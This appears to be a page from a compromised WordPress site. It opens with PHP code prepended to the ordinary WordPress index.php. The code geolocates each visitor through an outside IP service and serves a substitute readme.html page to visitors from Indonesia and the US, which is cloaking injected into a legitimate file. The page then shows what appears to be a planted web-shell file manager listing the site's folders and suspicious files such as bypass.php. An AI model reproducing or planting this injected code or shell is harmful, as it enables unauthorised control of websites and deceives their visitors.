<?php function getUserIP() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } $ip = getUserIP(); $api_url = "http://ip-api.com/json/{$ip}"; $response = file_get_contents($api_url); $data = json_decode($response, true); if ($data['countryCode'] === 'ID' || $data['countryCode'] === 'US') { ob_start(); include 'readme.html'; $output = ob_get_clean(); echo $output; exit(); } ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
.htpasswds | Folder | 0755 |
|
|
Media | Folder | 0755 |
|
|
Parent Info Sheet Various languages | Folder | 0755 |
|
|
_ces | Folder | 0750 |
|
|
_chps | Folder | 0750 |
|
|
_onlineorientation | Folder | 0750 |
|
|
_wp | Folder | 0750 |
|
|
ahscpd | Folder | 0750 |
|
|
ahsmore | Folder | 0750 |
|
|
brochures | Folder | 0755 |
|
|
canreach | Folder | 0755 |
|
|
canreach.mhcollab.ca | Folder | 0750 |
|
|
ces | Folder | 0750 |
|
|
cpd | Folder | 0750 |
|
|
css | Folder | 0755 |
|
|
dir | Folder | 0755 |
|
|
mhcollab.ca | Folder | 0555 |
|
|
test.mhcollab.ca | Folder | 0750 |
|
|
.htaccess | File | 281 B | 0644 |
|
202.php | File | 3.33 KB | 0644 |
|
bypass.php | File | 200 B | 0644 |
|
error_log | File | 5.55 MB | 0644 |
|
index.php | File | 1.07 KB | 0444 |
|
readme.html | File | 615.55 KB | 0644 |
|
robots.txt | File | 160 B | 0644 |
|
status.php | File | 33.73 KB | 0644 |
|
wpt-hotlinked-image-stub.png | File | 12.59 KB | 0644 |
|